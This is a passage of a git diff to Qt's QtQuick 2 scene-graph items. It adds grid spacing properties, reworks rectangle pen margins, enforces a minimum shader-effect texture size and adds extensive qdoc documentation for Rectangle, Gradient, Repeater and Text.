Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged)
@@ -168,6 +206,12 @@ public:
int columns() const {return m_columns;}
void setColumns(const int columns);
+ int rowSpacing() const { return m_rowSpacing; }
+ void setRowSpacing(int);
+
+ int columnSpacing() const { return m_columnSpacing; }
+ void setColumnSpacing(int);
+
Q_ENUMS(Flow)
enum Flow { LeftToRight, TopToBottom };
Flow flow() const;
@@ -183,6 +227,8 @@ Q_SIGNALS:
void flowChanged();
void layoutDirectionChanged();
void effectiveLayoutDirectionChanged();
+ void rowSpacingChanged();
+ void columnSpacingChanged();
protected:
virtual void doPositioning(QSizeF *contentSize);
@@ -191,6 +237,8 @@ protected:
private:
int m_rows;
int m_columns;
+ int m_rowSpacing;
+ int m_columnSpacing;
Flow m_flow;
Q_DISABLE_COPY(QSGGrid)
};
@@ -237,6 +285,9 @@ QML_DECLARE_TYPE(QSGRow)
QML_DECLARE_TYPE(QSGGrid)
QML_DECLARE_TYPE(QSGFlow)
+QML_DECLARE_TYPE(QSGBasePositioner)
+QML_DECLARE_TYPEINFO(QSGBasePositioner, QML_HAS_ATTACHED_PROPERTIES)
+
QT_END_HEADER
#endif // QSGPOSITIONERS_P_H
diff --git a/src/declarative/items/qsgrectangle.cpp b/src/declarative/items/qsgrectangle.cpp
index cb648e25d7..25f0eda5d5 100644
--- a/src/declarative/items/qsgrectangle.cpp
+++ b/src/declarative/items/qsgrectangle.cpp
@@ -52,6 +52,24 @@
QT_BEGIN_NAMESPACE
// XXX todo - should we change rectangle to draw entirely within its width/height?
+/*!
+ \internal
+ \class QSGPen
+ \brief The QSGPen class provides a pen used for drawing rectangle borders on a QSGView.
+
+ By default, the pen is invalid and nothing is drawn. You must either set a color (then the default
+ width is 1) or a width (then the default color is black).
+
+ A width of 1 indicates is a single-pixel line on the border of the item being painted.
+
+ Example:
+ \qml
+ Rectangle {
+ border.width: 2
+ border.color: "red"
+ }
+ \endqml
+*/
QSGPen::QSGPen(QObject *parent)
: QObject(parent)
@@ -63,7 +81,7 @@ QSGPen::QSGPen(QObject *parent)
}
qreal QSGPen::width() const
-{
+{
return m_width;
}
@@ -77,9 +95,9 @@ void QSGPen::setWidth(qreal w)
emit penChanged();
}
-QColor QSGPen::color() const
-{
- return m_color;
+QColor QSGPen::color() const
+{
+ return m_color;
}
void QSGPen::setColor(const QColor &c)
@@ -104,33 +122,53 @@ void QSGPen::setAligned(bool aligned)
}
bool QSGPen::isValid() const
-{
+{
return m_valid;
}
-QSGGradientStop::QSGGradientStop(QObject *parent)
+/*!
+ \qmlclass GradientStop QSGGradientStop
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The GradientStop item defines the color at a position in a Gradient.
+
+ \sa Gradient
+*/
+
+/*!
+ \qmlproperty real QtQuick2::GradientStop::position
+ \qmlproperty color QtQuick2::GradientStop::color
+
+ The position and color properties describe the color used at a given
+ position in a gradient, as represented by a gradient stop.
+
+ The default position is 0.0; the default color is black.
+
+ \sa Gradient
+*/
+QSGGradientStop::QSGGradientStop(QObject *parent)
: QObject(parent)
{
}
-qreal QSGGradientStop::position() const
+qreal QSGGradientStop::position() const
{
- return m_position;
+ return m_position;
}
-void QSGGradientStop::setPosition(qreal position)
+void QSGGradientStop::setPosition(qreal position)
{
- m_position = position; updateGradient();
+ m_position = position; updateGradient();
}
-QColor QSGGradientStop::color() const
+QColor QSGGradientStop::color() const
{
- return m_color;
+ return m_color;
}
-void QSGGradientStop::setColor(const QColor &color)
+void QSGGradientStop::setColor(const QColor &color)
{
- m_color = color; updateGradient();
+ m_color = color; updateGradient();
}
void QSGGradientStop::updateGradient()
@@ -139,19 +177,80 @@ void QSGGradientStop::updateGradient()
grad->doUpdate();
}
-QSGGradient::QSGGradient(QObject *parent)
-: QObject(parent), m_gradient(0)
+/*!
+ \qmlclass Gradient QSGGradient
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The Gradient item defines a gradient fill.
+
+ A gradient is defined by two or more colors, which will be blended seamlessly.
+
+ The colors are specified as a set of GradientStop child items, each of
+ which defines a position on the gradient from 0.0 to 1.0 and a color.
+ The position of each GradientStop is defined by setting its
+ \l{GradientStop::}{position} property; its color is defined using its
+ \l{GradientStop::}{color} property.
+
+ A gradient without any gradient stops is rendered as a solid white fill.
+
+ Note that this item is not a visual representation of a gradient. To display a
+ gradient, use a visual element (like \l Rectangle) which supports the use
+ of gradients.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage qml-gradient.png
+ \enddiv
+
+ The following example declares a \l Rectangle item with a gradient starting
+ with red, blending to yellow at one third of the height of the rectangle,
+ and ending with green:
+
+ \snippet doc/src/snippets/declarative/gradient.qml code
+
+ \clearfloat
+ \section1 Performance and Limitations
+
+ Calculating gradients can be computationally expensive compared to the use
+ of solid color fills or images. Consider using gradients for static items
+ in a user interface.
+
+ In Qt 4.7, only vertical, linear gradients can be applied to items. If you
+ need to apply different orientations of gradients, a combination of rotation
+ and clipping will need to be applied to the relevant items. This can
+ introduce additional performance requirements for your application.
+
+ The use of animations involving gradient stops may not give the desired
+ result. An alternative way to animate gradients is to use pre-generated
+ images or SVG drawings containing gradients.
+
+ \sa GradientStop
+*/
+
+/*!
+ \qmlproperty list<GradientStop> QtQuick2::Gradient::stops
+ \default
+
+ This property holds the gradient stops describing the gradient.
+
+ By default, this property contains an empty list.
+
+ To set the gradient stops, define them as children of the Gradient element.
+*/
+QSGGradient::QSGGradient(QObject *parent)
+: QObject(parent), m_gradient(0)
{
}
-QSGGradient::~QSGGradient()
+QSGGradient::~QSGGradient()
{
- delete m_gradient;
+ delete m_gradient;
}
-QDeclarativeListProperty<QSGGradientStop> QSGGradient::stops()
+QDeclarativeListProperty<QSGGradientStop> QSGGradient::stops()
{
- return QDeclarativeListProperty<QSGGradientStop>(this, m_stops);
+ return QDeclarativeListProperty<QSGGradientStop>(this, m_stops);
}
const QGradient *QSGGradient::gradient() const
@@ -177,6 +276,51 @@ void QSGGradient::doUpdate()
int QSGRectanglePrivate::doUpdateSlotIdx = -1;
+/*!
+ \qmlclass Rectangle QSGRectangle
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The Rectangle item provides a filled rectangle with an optional border.
+ \inherits Item
+
+ Rectangle items are used to fill areas with solid color or gradients, and are
+ often used to hold other items.
+
+ \section1 Appearance
+
+ Each Rectangle item is painted using either a solid fill color, specified using
+ the \l color property, or a gradient, defined using a Gradient element and set
+ using the \l gradient property. If both a color and a gradient are specified,
+ the gradient is used.
+
+ You can add an optional border to a rectangle with its own color and thickness
+ by settting the \l border.color and \l border.width properties.
+
+ You can also create rounded rectangles using the \l radius property. Since this
+ introduces curved edges to the corners of a rectangle, it may be appropriate to
+ set the \l smooth property to improve its appearance.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage declarative-rect.png
+ \enddiv
+
+ The following example shows the effects of some of the common properties on a
+ Rectangle item, which in this case is used to create a square:
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle.qml document
+
+ \clearfloat
+ \section1 Performance
+
+ Using the \l smooth property improves the appearance of a rounded rectangle at
+ the cost of rendering performance. You should consider unsetting this property
+ for rectangles in motion, and only set it when they are stationary.
+
+ \sa Image
+*/
+
QSGRectangle::QSGRectangle(QSGItem *parent)
: QSGItem(*(new QSGRectanglePrivate), parent)
{
@@ -186,17 +330,77 @@ QSGRectangle::QSGRectangle(QSGItem *parent)
void QSGRectangle::doUpdate()
{
Q_D(QSGRectangle);
- const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0;
- d->setPaintMargin((pw+1)/2);
+ qreal penMargin = 0;
+ qreal penOffset = 0;
+ if (d->pen && d->pen->isValid()) {
+ if (d->pen->aligned()) {
+ const int pw = qRound(d->pen->width());
+ penMargin = qreal(0.5) * pw;
+ penOffset = (pw & 1) * qreal(0.5);
+ } else {
+ penMargin = qreal(0.5) * d->pen->width();
+ }
+ }
+ if (penMargin != d->penMargin || penOffset != d->penOffset) {
+ d->penMargin = penMargin;
+ d->penOffset = penOffset;
+ d->dirty(QSGItemPrivate::Size); // update clip
+ }
update();
}
+/*!
+ \qmlproperty int QtQuick2::Rectangle::border.width
+ \qmlproperty color QtQuick2::Rectangle::border.color
+
+ The width and color used to draw the border of the rectangle.
+
+ A width of 1 creates a thin line. For no line, use a width of 0 or a transparent color.
+
+ \note The width of the rectangle's border does not affect the geometry of the
+ rectangle itself or its position relative to other items if anchors are used.
+
+ If \c border.width is an odd number, the rectangle is painted at a half-pixel offset to retain
+ border smoothness. Also, the border is rendered evenly on either side of the
+ rectangle's boundaries, and the spare pixel is rendered to the right and below the
+ rectangle (as documented for QRect rendering). This can cause unintended effects if
+ \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item:
+
+ \div {class="float-right"}
+ \inlineimage rect-border-width.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0
+
+ \clearfloat
+ Here, the innermost rectangle's border is clipped on the bottom and right edges by its
+ parent. To avoid this, the border width can be set to two instead of one.
+*/
QSGPen *QSGRectangle::border()
{
Q_D(QSGRectangle);
return d->getPen();
}
+/*!
+ \qmlproperty Gradient QtQuick2::Rectangle::gradient
+
+ The gradient to use to fill the rectangle.
+
+ This property allows for the construction of simple vertical gradients.
+ Other gradients may by formed by adding rotation to the rectangle.
+
+ \div {class="float-left"}
+ \inlineimage declarative-rect_gradient.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles
+ \clearfloat
+
+ If both a gradient and a color are specified, the gradient will be used.
+
+ \sa Gradient, color
+*/
QSGGradient *QSGRectangle::gradient() const
{
Q_D(const QSGRectangle);
@@ -221,6 +425,14 @@ void QSGRectangle::setGradient(QSGGradient *gradient)
update();
}
+/*!
+ \qmlproperty real QtQuick2::Rectangle::radius
+ This property holds the corner radius used to draw a rounded rectangle.
+
+ If radius is non-zero, the rectangle will be painted as a rounded rectangle, otherwise it will be
+ painted as a normal rectangle. The same radius is used by all 4 corners; there is currently
+ no way to specify different radii for different corners.
+*/
qreal QSGRectangle::radius() const
{
Q_D(const QSGRectangle);
@@ -238,6 +450,26 @@ void QSGRectangle::setRadius(qreal radius)
emit radiusChanged();
}
+/*!
+ \qmlproperty color QtQuick2::Rectangle::color
+ This property holds the color used to fill the rectangle.
+
+ The default color is white.
+
+ \div {class="float-right"}
+ \inlineimage rect-color.png
+ \enddiv
+
+ The following example shows rectangles with colors specified
+ using hexadecimal and named color notation:
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle-colors.qml rectangles
+
+ \clearfloat
+ If both a gradient and a color are specified, the gradient will be used.
+
+ \sa gradient
+*/
QColor QSGRectangle::color() const
{
Q_D(const QSGRectangle);
@@ -297,11 +529,27 @@ QSGNode *QSGRectangle::updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *da
return rectangle;
}
+/*!
+ \qmlproperty bool QtQuick2::Rectangle::smooth
+
+ Set this property if you want the item to be smoothly scaled or
+ transformed. Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+
+ \image rect-smooth.png
+ On this image, smooth is turned off on the top half and on on the bottom half.
+*/
QRectF QSGRectangle::boundingRect() const
{
Q_D(const QSGRectangle);
- return QRectF(-d->paintmargin, -d->paintmargin, width()+d->paintmargin*2, height()+d->paintmargin*2);
+ return QRectF(d->penOffset - d->penMargin, d->penOffset - d->penMargin,
+ d->width + 2 * d->penMargin, d->height + 2 * d->penMargin);
}
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgrectangle_p_p.h b/src/declarative/items/qsgrectangle_p_p.h
index 6e1beb7bdb..234a029aaf 100644
--- a/src/declarative/items/qsgrectangle_p_p.h
+++ b/src/declarative/items/qsgrectangle_p_p.h
@@ -66,7 +66,7 @@ class QSGRectanglePrivate : public QSGItemPrivate
public:
QSGRectanglePrivate() :
- color(Qt::white), gradient(0), pen(0), radius(0), paintmargin(0)
+ color(Qt::white), gradient(0), pen(0), radius(0), penMargin(0), penOffset(0)
{
}
@@ -79,7 +79,8 @@ public:
QSGGradient *gradient;
QSGPen *pen;
qreal radius;
- qreal paintmargin;
+ qreal penMargin;
+ qreal penOffset;
static int doUpdateSlotIdx;
QSGPen *getPen() {
@@ -95,13 +96,6 @@ public:
}
return pen;
}
-
- void setPaintMargin(qreal margin)
- {
- if (margin == paintmargin)
- return;
- paintmargin = margin;
- }
};
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgrepeater.cpp b/src/declarative/items/qsgrepeater.cpp
index cdada2d59d..bdb3a3d98a 100644
--- a/src/declarative/items/qsgrepeater.cpp
+++ b/src/declarative/items/qsgrepeater.cpp
@@ -60,6 +60,90 @@ QSGRepeaterPrivate::~QSGRepeaterPrivate()
delete model;
}
+/*!
+ \qmlclass Repeater QSGRepeater
+ \inqmlmodule QtQuick 2
+ \ingroup qml-utility-elements
+ \inherits Item
+
+ \brief The Repeater element allows you to repeat an Item-based component using a model.
+
+ The Repeater element is used to create a large number of
+ similar items. Like other view elements, a Repeater has a \l model and a \l delegate:
+ for each entry in the model, the delegate is instantiated
+ in a context seeded with data from the model. A Repeater item is usually
+ enclosed in a positioner element such as \l Row or \l Column to visually
+ position the multiple delegate items created by the Repeater.
+
+ The following Repeater creates three instances of a \l Rectangle item within
+ a \l Row:
+
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml simple
+
+ \image repeater-simple.png
+
+ A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}.
+ Additionally, like delegates for other views, a Repeater delegate can access
+ its index within the repeater, as well as the model data relevant to the
+ delegate. See the \l delegate property documentation for details.
+
+ Items instantiated by the Repeater are inserted, in order, as
+ children of the Repeater's parent. The insertion starts immediately after
+ the repeater's position in its parent stacking list. This allows
+ a Repeater to be used inside a layout. For example, the following Repeater's
+ items are stacked between a red rectangle and a blue rectangle:
+
+ \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout
+
+ \image repeater.png
+
+
+ \note A Repeater item owns all items it instantiates. Removing or dynamically destroying
+ an item created by a Repeater results in unpredictable behavior.
+
+
+ \section2 Considerations when using Repeater
+
+ The Repeater element creates all of its delegate items when the repeater is first
+ created. This can be inefficient if there are a large number of delegate items and
+ not all of the items are required to be visible at the same time. If this is the case,
+ consider using other view elements like ListView (which only creates delegate items
+ when they are scrolled into view) or use the \l {Dynamic Object Creation} methods to
+ create items as they are required.
+
+ Also, note that Repeater is \l {Item}-based, and can only repeat \l {Item}-derived objects.
+ For example, it cannot be used to repeat QtObjects:
+ \badcode
+ Item {
+ //XXX does not work! Can't repeat QtObject as it doesn't derive from Item.
+ Repeater {
+ model: 10
+ QtObject {}
+ }
+ }
+ \endcode
+ */
+
+/*!
+ \qmlsignal QtQuick2::Repeater::onItemAdded(int index, Item item)
+
+ This handler is called when an item is added to the repeater. The \a index
+ parameter holds the index at which the item has been inserted within the
+ repeater, and the \a item parameter holds the \l Item that has been added.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Repeater::onItemRemoved(int index, Item item)
+
+ This handler is called when an item is removed from the repeater. The \a index
+ parameter holds the index at which the item was removed from the repeater,
+ and the \a item parameter holds the \l Item that was removed.
+
+ Do not keep a reference to \a item if it was created by this repeater, as
+ in these cases it will be deleted shortly after the handler is called.
+*/
QSGRepeater::QSGRepeater(QSGItem *parent)
: QSGItem(*(new QSGRepeaterPrivate), parent)
{
@@ -69,6 +153,24 @@ QSGRepeater::~QSGRepeater()
{
}
+/*!
+ \qmlproperty any QtQuick2::Repeater::model
+
+ The model providing data for the repeater.
+
+ This property can be set to any of the supported \l {qmlmodels}{data models}:
+
+ \list
+ \o A number that indicates the number of delegates to be created by the repeater
+ \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass)
+ \o A string list
+ \o An object list
+ \endlist
+
+ The type of model affects the properties that are exposed to the \l delegate.
+
+ \sa {qmlmodels}{Data Models}
+*/
QVariant QSGRepeater::model() const
{
Q_D(const QSGRepeater);
@@ -124,6 +226,39 @@ void QSGRepeater::setModel(const QVariant &model)
emit countChanged();
}
+/*!
+ \qmlproperty Component QtQuick2::Repeater::delegate
+ \default
+
+ The delegate provides a template defining each item instantiated by the repeater.
+
+ Delegates are exposed to a read-only \c index property that indicates the index
+ of the delegate within the repeater. For example, the following \l Text delegate
+ displays the index of each repeated item:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
+ \o \image repeater-index.png
+ \endtable
+
+ If the \l model is a \l{QStringList-based model}{string list} or
+ \l{QObjectList-based model}{object list}, the delegate is also exposed to
+ a read-only \c modelData property that holds the string or object data. For
+ example:
+
+ \table
+ \row
+ \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
+ \o \image repeater-modeldata.png
+ \endtable
+
+ If the \l model is a model object (such as a \l ListModel) the delegate
+ can access all model roles as named properties, in the same way that delegates
+ do for view classes like ListView.
+
+ \sa {QML Data Models}
+ */
QDeclarativeComponent *QSGRepeater::delegate() const
{
Q_D(const QSGRepeater);
@@ -153,6 +288,11 @@ void QSGRepeater::setDelegate(QDeclarativeComponent *delegate)
}
}
+/*!
+ \qmlproperty int QtQuick2::Repeater::count
+
+ This property holds the number of items in the repeater.
+*/
int QSGRepeater::count() const
{
Q_D(const QSGRepeater);
@@ -161,6 +301,12 @@ int QSGRepeater::count() const
return 0;
}
+/*!
+ \qmlmethod Item QtQuick2::Repeater::itemAt(index)
+
+ Returns the \l Item that has been created at the given \a index, or \c null
+ if no item exists at \a index.
+*/
QSGItem *QSGRepeater::itemAt(int index) const
{
Q_D(const QSGRepeater);
diff --git a/src/declarative/items/qsgscalegrid.cpp b/src/declarative/items/qsgscalegrid.cpp
index a9eb080d86..e1b76c4158 100644
--- a/src/declarative/items/qsgscalegrid.cpp
+++ b/src/declarative/items/qsgscalegrid.cpp
@@ -164,6 +164,8 @@ QSGGridScaledImage::QSGGridScaledImage(QIODevice *data)
_l = l; _r = r; _t = t; _b = b;
_pix = imgFile;
+ if (_pix.startsWith(QLatin1Char('"')) && _pix.endsWith(QLatin1Char('"')))
+ _pix = _pix.mid(1, _pix.size() - 2); // remove leading/trailing quotes.
}
QSGBorderImage::TileMode QSGGridScaledImage::stringToRule(const QString &s)
diff --git a/src/declarative/items/qsgshadereffectsource.cpp b/src/declarative/items/qsgshadereffectsource.cpp
index f9dbfe58ec..ef6dd64532 100644
--- a/src/declarative/items/qsgshadereffectsource.cpp
+++ b/src/declarative/items/qsgshadereffectsource.cpp
@@ -619,8 +619,12 @@ void QSGShaderEffectSource::setSourceRect(const QRectF &rect)
/*!
\qmlproperty size ShaderEffectSource::textureSize
- This property holds the size of the texture. If it is empty, which is the
- default, the size of the source rectangle is used.
+ This property holds the requested size of the texture. If it is empty,
+ which is the default, the size of the source rectangle is used.
+
+ \note Some platforms have a limit on how small framebuffer objects can be,
+ which means the actual texture size might be larger than the requested
+ size.
*/
QSize QSGShaderEffectSource::textureSize() const
@@ -812,7 +816,7 @@ static void get_wrap_mode(QSGShaderEffectSource::WrapMode mode, QSGTexture::Wrap
QSGNode *QSGShaderEffectSource::updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *)
{
- if (!m_sourceItem) {
+ if (!m_sourceItem || m_sourceItem->width() == 0 || m_sourceItem->height() == 0) {
delete oldNode;
return 0;
}
@@ -820,13 +824,22 @@ QSGNode *QSGShaderEffectSource::updatePaintNode(QSGNode *oldNode, UpdatePaintNod
QSGShaderEffectTexture *tex = qobject_cast<QSGShaderEffectTexture *>(m_texture);
tex->setLive(m_live);
tex->setItem(QSGItemPrivate::get(m_sourceItem)->itemNode());
- QRectF sourceRect = m_sourceRect.isNull()
+ QRectF sourceRect = m_sourceRect.width() == 0 || m_sourceRect.height() == 0
? QRectF(0, 0, m_sourceItem->width(), m_sourceItem->height())
: m_sourceRect;
tex->setRect(sourceRect);
QSize textureSize = m_textureSize.isEmpty()
? QSize(qCeil(qAbs(sourceRect.width())), qCeil(qAbs(sourceRect.height())))
: m_textureSize;
+ Q_ASSERT(!textureSize.isEmpty());
+ QSGItemPrivate *d = static_cast<QSGItemPrivate *>(QObjectPrivate::get(this));
+ const QSize minTextureSize = d->sceneGraphContext()->minimumFBOSize();
+ // Keep power-of-two by doubling the size.
+ while (textureSize.width() < minTextureSize.width())
+ textureSize.rwidth() *= 2;
+ while (textureSize.height() < minTextureSize.height())
+ textureSize.rheight() *= 2;
+
tex->setSize(textureSize);
tex->setRecursive(m_recursive);
tex->setFormat(GLenum(m_format));
diff --git a/src/declarative/items/qsgtext.cpp b/src/declarative/items/qsgtext.cpp
index cc6a4b406d..bac0be969b 100644
--- a/src/declarative/items/qsgtext.cpp
+++ b/src/declarative/items/qsgtext.cpp
@@ -91,6 +91,7 @@ private:
static QSet<QUrl> errors;
};
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
QString QSGTextPrivate::elideChar = QString(0x2026);
@@ -106,7 +107,12 @@ QSGTextPrivate::QSGTextPrivate()
richText(false), singleline(false), cacheAllTextAsImage(true), internalWidthUpdate(false),
requireImplicitWidth(false), truncated(false), hAlignImplicit(true), rightToLeftText(false),
layoutTextElided(false), richTextAsImage(false), textureImageCacheDirty(false), naturalWidth(0),
- doc(0), layoutThread(0), nodeType(NodeIsNull)
+ doc(0), nodeType(NodeIsNull)
+
+#if defined(Q_OS_MAC)
+ , layoutThread(0)
+#endif
+
{
cacheAllTextAsImage = enableImageCache();
}
@@ -290,7 +296,9 @@ void QSGTextPrivate::updateSize()
int dy = q->height();
QSize size(0, 0);
+#if defined(Q_OS_MAC)
layoutThread = QThread::currentThread();
+#endif
//setup instance of QTextLayout for all cases other than richtext
if (!richText) {
@@ -312,6 +320,8 @@ void QSGTextPrivate::updateSize()
QTextOption option;
option.setAlignment((Qt::Alignment)int(horizontalAlignment | vAlign));
option.setWrapMode(QTextOption::WrapMode(wrapMode));
+ if (!cacheAllTextAsImage && !richTextAsImage && !qmlDisableDistanceField())
+ option.setUseDesignMetrics(true);
doc->setDefaultTextOption(option);
if (requireImplicitWidth && q->widthValid()) {
doc->setTextWidth(-1);
@@ -375,6 +385,8 @@ QRect QSGTextPrivate::setupTextLayout()
QTextOption textOption = layout.textOption();
textOption.setAlignment(Qt::Alignment(q->effectiveHAlign()));
textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
+ if (!cacheAllTextAsImage && !richTextAsImage && !qmlDisableDistanceField())
+ textOption.setUseDesignMetrics(true);
layout.setTextOption(textOption);
bool elideText = false;
@@ -574,7 +586,7 @@ void QSGTextPrivate::invalidateImageCache()
{
Q_Q(QSGText);
- if(richTextAsImage || cacheAllTextAsImage || (!QSGDistanceFieldGlyphCache::distanceFieldEnabled() && style != QSGText::Normal)){//If actually using the image cache
+ if(richTextAsImage || cacheAllTextAsImage || (qmlDisableDistanceField() && style != QSGText::Normal)){//If actually using the image cache
if (imageCacheDirty)
return;
@@ -694,6 +706,49 @@ QPixmap QSGTextPrivate::drawOutline(const QPixmap &source, const QPixmap &styleS
return img;
}
+/*!
+ \qmlclass Text QSGText
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The Text item allows you to add formatted text to a scene.
+ \inherits Item
+
+ Text items can display both plain and rich text. For example, red text with
+ a specific font and size can be defined like this:
+
+ \qml
+ Text {
+ text: "Hello World!"
+ font.family: "Helvetica"
+ font.pointSize: 24
+ color: "red"
+ }
+ \endqml
+
+ Rich text is defined using HTML-style markup:
+
+ \qml
+ Text {
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ \endqml
+
+ \image declarative-text.png
+
+ If height and width are not explicitly set, Text will attempt to determine how
+ much room is needed and set it accordingly. Unless \l wrapMode is set, it will always
+ prefer width to height (all text will be placed on a single line).
+
+ The \l elide property can alternatively be used to fit a single line of
+ plain text to a set width.
+
+ Note that the \l{Supported HTML Subset} is limited. Also, if the text contains
+ HTML img tags that load remote images, the text is reloaded.
+
+ Text provides read-only text. For editable text, see \l TextEdit.
+
+ \sa {declarative/text/fonts}{Fonts example}
+*/
QSGText::QSGText(QSGItem *parent)
: QSGImplicitSizeItem(*(new QSGTextPrivate), parent)
{
@@ -705,6 +760,149 @@ QSGText::~QSGText()
{
}
+/*!
+ \qmlproperty bool QtQuick2::Text::clip
+ This property holds whether the text is clipped.
+
+ Note that if the text does not fit in the bounding rectangle it will be abruptly chopped.
+
+ If you want to display potentially long text in a limited space, you probably want to use \c elide instead.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Text::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Text::onLinkActivated(string link)
+
+ This handler is called when the user clicks on a link embedded in the text.
+ The link must be in rich text or HTML format and the
+ \a link string provides access to the particular link.
+
+ \snippet doc/src/snippets/declarative/text/onLinkActivated.qml 0
+
+ The example code will display the text
+ "The main website is at \l{http://qt.nokia.com}{Nokia Qt DF}."
+
+ Clicking on the highlighted link will output
+ \tt{http://qt.nokia.com link activated} to the console.
+*/
+
+/*!
+ \qmlproperty string QtQuick2::Text::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Text::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::Text::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ Text { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Text::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Text::font.underline
+
+ Sets whether the text is underlined.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Text::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Text::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::Text::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent.
+ Use \c pointSize to set the size of the font in a device independent manner.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Text::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Text::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::Text::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ Text { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
QFont QSGText::font() const
{
Q_D(const QSGText);
@@ -720,8 +918,6 @@ void QSGText::setFont(const QFont &font)
d->sourceFont = font;
QFont oldFont = d->font;
d->font = font;
- if (QSGDistanceFieldGlyphCache::distanceFieldEnabled())
- d->font.setHintingPreference(QFont::PreferNoHinting);
if (d->font.pointSizeF() != -1) {
// 0.5pt resolution
@@ -735,6 +931,14 @@ void QSGText::setFont(const QFont &font)
emit fontChanged(d->sourceFont);
}
+/*!
+ \qmlproperty string QtQuick2::Text::text
+
+ The text to display. Text supports both plain and rich text strings.
+
+ The item will try to automatically determine whether the text should
+ be treated as rich text. This determination is made using Qt::mightBeRichText().
+*/
QString QSGText::text() const
{
Q_D(const QSGText);
@@ -764,6 +968,27 @@ void QSGText::setText(const QString &n)
emit textChanged(d->text);
}
+/*!
+ \qmlproperty color QtQuick2::Text::color
+
+ The text color.
+
+ An example of green text defined using hexadecimal notation:
+ \qml
+ Text {
+ color: "#00FF00"
+ text: "green text"
+ }
+ \endqml
+
+ An example of steel blue text defined using an SVG color name:
+ \qml
+ Text {
+ color: "steelblue"
+ text: "blue text"
+ }
+ \endqml
+*/
QColor QSGText::color() const
{
Q_D(const QSGText);
@@ -780,7 +1005,30 @@ void QSGText::setColor(const QColor &color)
d->invalidateImageCache();
emit colorChanged(d->color);
}
+/*!
